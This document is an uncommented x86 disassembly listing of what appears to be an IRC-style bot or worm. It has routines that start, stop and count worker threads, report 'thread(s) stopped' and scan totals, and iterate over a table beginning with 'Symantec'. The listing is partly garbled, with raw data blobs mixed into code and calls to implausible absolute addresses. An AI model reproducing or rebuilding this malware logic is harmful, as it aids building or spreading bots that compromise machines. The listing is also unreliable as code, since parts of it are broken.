dd 0FF006A57h, 8C681075h, 0FF004317h, 75FF0C75h, 0E3D8E808h
dd 0C483FFFFh, 0BEFF3314h, 43C040h, 74003E80h, 147D833Ch
dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
dd 42C54868h, 4BE85000h, 6A00010Bh, 858D01h, 0FFFFFFFEh
dd 0FF501075h, 75FF0C75h, 0E390E808h, 0C483FFFFh, 34C68124h
dd 47000002h, 9040FE81h, 0B07C004Ch, 0C3C95E5Fh
; =============== S U B R O U T I N E =======================================
sub_40B4E8 proc near ; CODE XREF: sub_401AC7+79C4p
; sub_40B576+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B570
cmp esi, 400h
jge short loc_40B570
imul esi, 234h
push edi
push ebx
push dword_43C254[esi]
lea edi, dword_43C254[esi]
nop
call near ptr 26A07C0h
cmp [edi], ebx
jz short loc_40B520
push 1
pop ebp
loc_40B520: ; CODE XREF: sub_40B4E8+33j
mov [edi], ebx
lea edi, dword_43C248[esi]
mov dword_43C240[esi], ebx
mov dword_43C244[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B541
push eax
call sub_419EB7
pop ecx
loc_40B541: ; CODE XREF: sub_40B4E8+50j
mov [edi], ebx
lea edi, dword_43C24C[esi]
mov byte ptr dword_43C040[esi], bl
mov byte_43C258[esi], bl
push dword ptr [edi]
call dword_4C939C
lea esi, dword_43C250[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4C939C
mov [esi], ebx
pop edi
loc_40B570: ; CODE XREF: sub_40B4E8+Dj
; sub_40B4E8+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B4E8 endp
; =============== S U B R O U T I N E =======================================
sub_40B576 proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D3p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43C040
loc_40B582: ; CODE XREF: sub_40B576+2Aj
cmp byte ptr [esi], 0
jz short loc_40B593
push edi
call sub_40B4E8
test eax, eax
pop ecx
jz short loc_40B593
inc ebx
loc_40B593: ; CODE XREF: sub_40B576+Fj
; sub_40B576+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4C9040
jl short loc_40B582
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B576 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5A8 proc near ; CODE XREF: sub_401AC7+41B3p
; sub_401AC7+4300p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43C244
loc_40B5BC: ; CODE XREF: sub_40B5A8+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B5DE
test edi, edi
jle short loc_40B5D0
cmp [esi], edi
jz short loc_40B5D0
cmp ebx, edi
jnz short loc_40B5DE
loc_40B5D0: ; CODE XREF: sub_40B5A8+1Ej
; sub_40B5A8+22j
push ebx
call sub_40B4E8
test eax, eax
pop ecx
jz short loc_40B5DE
inc [ebp+var_4]
loc_40B5DE: ; CODE XREF: sub_40B5A8+1Aj
; sub_40B5A8+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4C9244
jl short loc_40B5BC
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B5A8 endp
; =============== S U B R O U T I N E =======================================
sub_40B5F5 proc near ; CODE XREF: ___:0040162Ap
; sub_401AC7+955p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43C240
loc_40B5FC: ; CODE XREF: sub_40B5F5+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B605
inc eax
loc_40B605: ; CODE XREF: sub_40B5F5+Dj
add ecx, 234h
cmp ecx, offset dword_4C9240
jl short loc_40B5FC
retn
sub_40B5F5 endp
; =============== S U B R O U T I N E =======================================
sub_40B614 proc near ; CODE XREF: sub_401AC7+23C3p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43C240
loc_40B61E: ; CODE XREF: sub_40B614+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B637
add ecx, 234h
inc edx
cmp ecx, offset dword_4C9240
jl short loc_40B61E
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B637: ; CODE XREF: sub_40B614+10j
mov eax, edx
pop esi
retn
sub_40B614 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B63B proc near ; CODE XREF: sub_401AC7+1230p
; sub_401AC7+124Ep ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B654
push [ebp+arg_1C]
call sub_41BEF9
pop ecx
loc_40B654: ; CODE XREF: sub_40B63B+Ej
push eax
push [ebp+arg_18]
call sub_40B5A8
pop ecx
test eax, eax
pop ecx
jle short loc_40B680
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41C006
add esp, 14h
jmp short loc_40B69A
; ---------------------------------------------------------------------------
loc_40B680: ; CODE XREF: sub_40B63B+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41C006
add esp, 10h
loc_40B69A: ; CODE XREF: sub_40B63B+43j
cmp [ebp+arg_C], 0
jnz short loc_40B6BA
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
add esp, 14h
loc_40B6BA: ; CODE XREF: sub_40B63B+63j
lea eax, [ebp+var_200]
push eax
call sub_415CEE
pop ecx
leave
retn
sub_40B63B endp
; =============== S U B R O U T I N E =======================================
sub_40B6C9 proc near ; CODE XREF: sub_4017E7+159p
; ___:0040BCF6p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43C254[eax], ecx
mov dword_43C240[eax], ecx
mov dword_43C244[eax], ecx
mov dword_43C248[eax], ecx
mov dword_43C24C[eax], ecx
mov dword_43C250[eax], ecx
mov byte ptr dword_43C040[eax], cl
mov byte_43C258[eax], cl
retn
sub_40B6C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B706 proc near ; CODE XREF: sub_401AC7+7C27p
; sub_40B834+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B710: ; CODE XREF: sub_40B706+68j
mov cl, [esi]
test cl, cl
jz short loc_40B770
cmp eax, 1
jnz short loc_40B770
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B770
cmp cl, 2Ah
jz short loc_40B757
cmp cl, 3Fh
jz short loc_40B73A
cmp cl, 5Bh
jz short loc_40B73F
xor eax, eax
cmp cl, dl
setz al
loc_40B73A: ; CODE XREF: sub_40B706+26j
inc [ebp+arg_4]
jmp short loc_40B76A
; ---------------------------------------------------------------------------
loc_40B73F: ; CODE XREF: sub_40B706+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B79C
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B76A
; ---------------------------------------------------------------------------
loc_40B757: ; CODE XREF: sub_40B706+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B834
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B76A: ; CODE XREF: sub_40B706+37j
; sub_40B706+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B710
; ---------------------------------------------------------------------------
loc_40B770: ; CODE XREF: sub_40B706+Ej
; sub_40B706+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B780
cmp eax, 1
jnz short loc_40B797
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B770
; ---------------------------------------------------------------------------
loc_40B780: ; CODE XREF: sub_40B706+6Dj
cmp eax, 1
jnz short loc_40B797
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B797
cmp byte ptr [esi], 0
jnz short loc_40B797
push 1
pop eax
jmp short loc_40B799
; ---------------------------------------------------------------------------
loc_40B797: ; CODE XREF: sub_40B706+72j
; sub_40B706+7Dj ...
xor eax, eax
loc_40B799: ; CODE XREF: sub_40B706+8Fj
pop esi
pop ebp
retn
sub_40B706 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B79C proc near ; CODE XREF: sub_40B706+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B7BD
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B7BD: ; CODE XREF: sub_40B79C+19j
push ebx
push esi
loc_40B7BF: ; CODE XREF: sub_40B79C+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B7CD
cmp [ebp+var_4], eax
jnz short loc_40B819
loc_40B7CD: ; CODE XREF: sub_40B79C+2Aj
test edi, edi
jnz short loc_40B80E
cmp bl, 2Dh
jnz short loc_40B802
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B802
cmp al, 5Dh
jz short loc_40B802
cmp [ebp+var_4], edi
jnz short loc_40B802
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B80E
cmp bl, al
jg short loc_40B80E
push 1
mov [edx], esi
pop edi
jmp short loc_40B80E
; ---------------------------------------------------------------------------
loc_40B802: ; CODE XREF: sub_40B79C+38j
; sub_40B79C+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B80E
push 1
pop edi
loc_40B80E: ; CODE XREF: sub_40B79C+33j
; sub_40B79C+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B7BF
; ---------------------------------------------------------------------------
loc_40B819: ; CODE XREF: sub_40B79C+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B826
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B826: ; CODE XREF: sub_40B79C+82j
cmp edi, eax
jnz short loc_40B82F
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B82F: ; CODE XREF: sub_40B79C+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B79C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B834 proc near ; CODE XREF: sub_40B706+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B850: ; CODE XREF: sub_40B834+3Aj
cmp [eax], bl
jz short loc_40B870
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B865
cmp cl, 2Ah
jnz short loc_40B870
cmp cl, 3Fh
jnz short loc_40B868
loc_40B865: ; CODE XREF: sub_40B834+25j
inc eax
mov [edi], eax
loc_40B868: ; CODE XREF: sub_40B834+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B850
; ---------------------------------------------------------------------------
loc_40B870: ; CODE XREF: sub_40B834+1Ej
; sub_40B834+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B87B
inc dword ptr [esi]
jmp short loc_40B870
; ---------------------------------------------------------------------------
loc_40B87B: ; CODE XREF: sub_40B834+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B89C
mov edx, [esi]
cmp [edx], bl
jz short loc_40B88D
xor eax, eax
jmp short loc_40B8FC
; ---------------------------------------------------------------------------
loc_40B88D: ; CODE XREF: sub_40B834+53j
cmp cl, bl
jnz short loc_40B89C
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B89C
push 1
pop eax
jmp short loc_40B8FC
; ---------------------------------------------------------------------------
loc_40B89C: ; CODE XREF: sub_40B834+4Dj
; sub_40B834+5Bj ...
push eax
push dword ptr [esi]
call sub_40B706
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8E6
loc_40B8AA: ; CODE XREF: sub_40B834+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B8AE: ; CODE XREF: sub_40B834+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B8C6
cmp cl, 5Bh
jz short loc_40B8C6
cmp dl, bl
jz short loc_40B8C6
inc eax
mov [edi], eax
jmp short loc_40B8AE
; ---------------------------------------------------------------------------
loc_40B8C6: ; CODE XREF: sub_40B834+82j
; sub_40B834+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B8DD
push eax
push dword ptr [esi]
call sub_40B706
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B8E2
; ---------------------------------------------------------------------------
loc_40B8DD: ; CODE XREF: sub_40B834+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B8E2: ; CODE XREF: sub_40B834+A7j
cmp eax, ebx
jnz short loc_40B8AA
loc_40B8E6: ; CODE XREF: sub_40B834+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B8F9
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B8F9
mov [ebp+var_4], 1
loc_40B8F9: ; CODE XREF: sub_40B834+B6j
; sub_40B834+BCj
mov eax, [ebp+var_4]
loc_40B8FC: ; CODE XREF: sub_40B834+57j
; sub_40B834+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B834 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B901 proc near ; CODE XREF: sub_401AC7+2AC2p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431BEC
push eax
xor ebx, ebx
call sub_41C006
cmp dword_431808, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B973
push esi
mov esi, offset dword_431810
loc_40B934: ; CODE XREF: sub_40B901+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B969
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431BE0
push eax
call sub_41C006
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C950
add esp, 1Ch
loc_40B969: ; CODE XREF: sub_40B901+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B934
pop esi
loc_40B973: ; CODE XREF: sub_40B901+2Bj
push dword_4C9044
call sub_41AD74
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41C006
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C950
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
lea eax, [ebp+var_200]
push eax
call sub_415CEE
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40B901 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9CF proc near ; CODE XREF: sub_401AC7+2AACp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CBE10
mov ecx, dword_4CBE0C
push esi
push dword_4C9044
lea esi, [ecx+eax]
call sub_41AD74
push eax
push esi
push dword_4CBE10
lea eax, [ebp+var_200]
push dword_4CBE0C
push offset unk_431C0C
push eax
call sub_41C006
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
lea eax, [ebp+var_200]
push eax
call sub_415CEE
add esp, 34h
pop esi
leave
retn
sub_40B9CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA3A proc near ; CODE XREF: sub_401AC7+2A96p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4C9044
call sub_41AD74
push eax
lea eax, [ebp+var_200]
push dword_4CC058
push offset unk_431C54
push eax
call sub_41C006
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
lea eax, [ebp+var_200]
push eax
call sub_415CEE
add esp, 2Ch
leave
retn
sub_40BA3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA8E proc near ; CODE XREF: sub_401AC7+2A80p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C2A0
push edi
lea eax, [ebp+var_800]
push offset dword_431CA0
push eax
call sub_41C006
cmp dword_431808, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BAFA
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BAC3: ; CODE XREF: sub_40BA8E+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431C90
push eax
call sub_41C006
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C950
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BAC3
pop esi
loc_40BAFA: ; CODE XREF: sub_40BA8E+2Dj
push dword_4C9044
call sub_41AD74
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41C006
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C950
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
lea eax, [ebp+var_800]
push eax
call sub_415CEE
add esp, 34h
pop edi
leave
retn
sub_40BA8E endp
; ---------------------------------------------------------------------------
dword_40BB54 dd 81EC8B55h, 3F0ECh, 8458B00h, 6A575653h, 59F08B4Bh, 0FECCBD8Dh
; DATA XREF: sub_401AC7+30C9o
dd 0A5F3FFFFh, 12880C7h, 10000h, 858D0000h, 0FFFFFECCh
dd 4415FF50h, 33004C93h, 0F84589FFh, 18083D39h, 7D890043h
dd 87D89FCh, 114840Fh, 8BB0000h, 8B004318h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_40BBA5: ; CODE XREF: ___:0040BCACj
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C336
add esp, 0Ch
cmp eax, 1
jnz loc_40BCA2
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_431CF0
push eax
call sub_41C006
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409862
lea eax, [ebp-3F0h]
push eax
call sub_415CEE
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41C006
lea eax, [ebp-15Ch]
push esi
push eax
call sub_41C006
add esp, 3Ch
cmp byte ptr [ebp-0A4h], 0
lea eax, [ebp-0A4h]
jnz short loc_40BC3D
lea eax, [ebp-124h]
loc_40BC3D: ; CODE XREF: ___:0040BC35j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41C006
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40BCA2: ; CODE XREF: ___:0040BBB8j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40BBA5
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_431CBC
push eax
call sub_41C006
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409862
lea eax, [ebp-3F0h]
push eax
call sub_415CEE
push dword ptr [ebp-18h]
call sub_40B6C9
add esp, 2Ch
push edi
nop
; ---------------------------------------------------------------------------
dd 2E42FBE8h
db 2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD05 proc near ; CODE XREF: sub_401AC7+23DEp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B5F5
test eax, eax
pop ecx
jle short loc_40BD41
mov eax, [ebp+arg_C]
push dword_4C9450[eax*8]
call dword_4C9390
push eax
lea eax, [ebp+var_200]
push offset unk_431D40
push eax
call sub_41C006
add esp, 0Ch
jmp short loc_40BD54
; ---------------------------------------------------------------------------
loc_40BD41: ; CODE XREF: sub_40BD05+13j
lea eax, [ebp+var_200]
push offset unk_431D20
push eax
call sub_41C006
pop ecx
pop ecx
loc_40BD54: ; CODE XREF: sub_40BD05+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409862
lea eax, [ebp+var_200]
push eax
call sub_415CEE
add esp, 18h
leave
retn
sub_40BD05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD7C proc near ; CODE XREF: sub_40C3D3+263p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C24E
shl eax, 6
xor ebx, ebx
cmp dword_431814[eax], ebx
jz loc_40C24E
push 5
call sub_40B5F5
test eax, eax
pop ecx
jnz loc_40C003
mov eax, dword_429078
push edi
mov esi, offset dword_4CB50C
push 104h
push esi
push ebx
mov dword_4CB71C, eax
mov dword_4CB718, ebx
call near ptr 2670000h
nop
mov edi, offset byte_429108
push 103h
push edi
push offset dword_4CB610
call sub_41BD70
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CB508, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CB7A0, eax
jnz short loc_40BE2F
lea eax, [ebp+arg_10]
push eax
push offset dword_4CB720
call sub_41BD70
add esp, 0Ch
mov dword_4CB7A4, 1
jmp short loc_40BE49
; ---------------------------------------------------------------------------
loc_40BE2F: ; CODE XREF: sub_40BD7C+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CB720
call sub_41BD70
add esp, 0Ch
mov dword_4CB7A4, ebx
loc_40BE49: ; CODE XREF: sub_40BD7C+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CB71C
push offset unk_42C208
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B3AD
add esp, 1Ch
mov dword_4CB714, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CB508
push offset byte_412155
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, dword_4CB714
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40BEB7
loc_40BEA5: ; CODE XREF: sub_40BD7C+139j
cmp dword_4CB7A8, ebx
jnz short loc_40BED2
push 32h
nop
call near ptr 268051Bh
jmp short loc_40BEA5
; ---------------------------------------------------------------------------
loc_40BEB7: ; CODE XREF: sub_40BD7C+127j
call near ptr 2680DCDh
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431E60
push eax
call sub_41C006
add esp, 0Ch
loc_40BED2: ; CODE XREF: sub_40BD7C+12Fj
lea eax, [ebp+var_204]
push eax
call sub_415CEE
mov eax, dword_4C9040
mov esi, offset dword_4CB7B4
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CB9C4, eax
mov dword_4CB9C0, ebx
call near ptr 2670000h
nop
push 103h
push edi
push offset dword_4CB8B8
call sub_41BD70
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CB7B0, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CBA48, eax
push 7Fh
jnz short loc_40BF53
lea eax, [ebp+arg_10]
push eax
push offset dword_4CB9C8
call sub_41BD70
add esp, 0Ch
mov dword_4CBA4C, 1
jmp short loc_40BF6D
; ---------------------------------------------------------------------------
loc_40BF53: ; CODE XREF: sub_40BD7C+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CB9C8
call sub_41BD70
add esp, 0Ch
mov dword_4CBA4C, ebx
loc_40BF6D: ; CODE XREF: sub_40BD7C+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CB9C4
push offset unk_431E2C
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B3AD
add esp, 1Ch
mov dword_4CB9BC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CB7B0
push offset word_40F37A
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, dword_4CB9BC
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40BFDB
loc_40BFC9: ; CODE XREF: sub_40BD7C+25Dj
cmp dword_4CBA50, ebx
jnz short loc_40BFF6
push 32h
call near ptr 268051Bh
nop
jmp short loc_40BFC9
; ---------------------------------------------------------------------------
loc_40BFDB: ; CODE XREF: sub_40BD7C+24Bj
nop
call near ptr 2680DCDh
push eax
lea eax, [ebp+var_204]
push offset unk_431DF8
push eax
call sub_41C006
add esp, 0Ch
loc_40BFF6: ; CODE XREF: sub_40BD7C+253j
lea eax, [ebp+var_204]
push eax
call sub_415CEE
pop ecx
loc_40C003: ; CODE XREF: sub_40BD7C+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43181C[ecx], ebx
jz loc_40C12C
push 7
call sub_40B5F5
test eax, eax
pop ecx
jnz loc_40C126
mov eax, dword_4CC050
cmp [ebp+arg_90], bl
mov dword_4CB474, eax
mov eax, [ebp+arg_110]
mov dword_4CB468, eax
mov eax, [ebp+arg_138]
mov dword_4CB470, ebx
mov dword_4CB4F8, eax
push 7Fh
jnz short loc_40C077
lea eax, [ebp+arg_10]
push eax
push offset dword_4CB478
call sub_41BD70
add esp, 0Ch
mov dword_4CB4FC, 1
jmp short loc_40C091
; ---------------------------------------------------------------------------
loc_40C077: ; CODE XREF: sub_40BD7C+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CB478
call sub_41BD70
add esp, 0Ch
mov dword_4CB4FC, ebx
loc_40C091: ; CODE XREF: sub_40BD7C+2F9j
push dword_4CB474
lea eax, [ebp+var_204]
push offset unk_431DC8
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B3AD
add esp, 18h
mov dword_4CB46C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CB468
push offset dword_40F0D8
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, dword_4CB46C
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40C0FE
loc_40C0EC: ; CODE XREF: sub_40BD7C+380j
cmp dword_4CB500, ebx
jnz short loc_40C119
push 32h
call near ptr 268051Bh
nop
jmp short loc_40C0EC
; ---------------------------------------------------------------------------
loc_40C0FE: ; CODE XREF: sub_40BD7C+36Ej
nop
call near ptr 2680DCDh
push eax
lea eax, [ebp+var_204]
push offset unk_431D90
push eax
call sub_41C006
add esp, 0Ch
loc_40C119: ; CODE XREF: sub_40BD7C+376j
lea eax, [ebp+var_204]
push eax
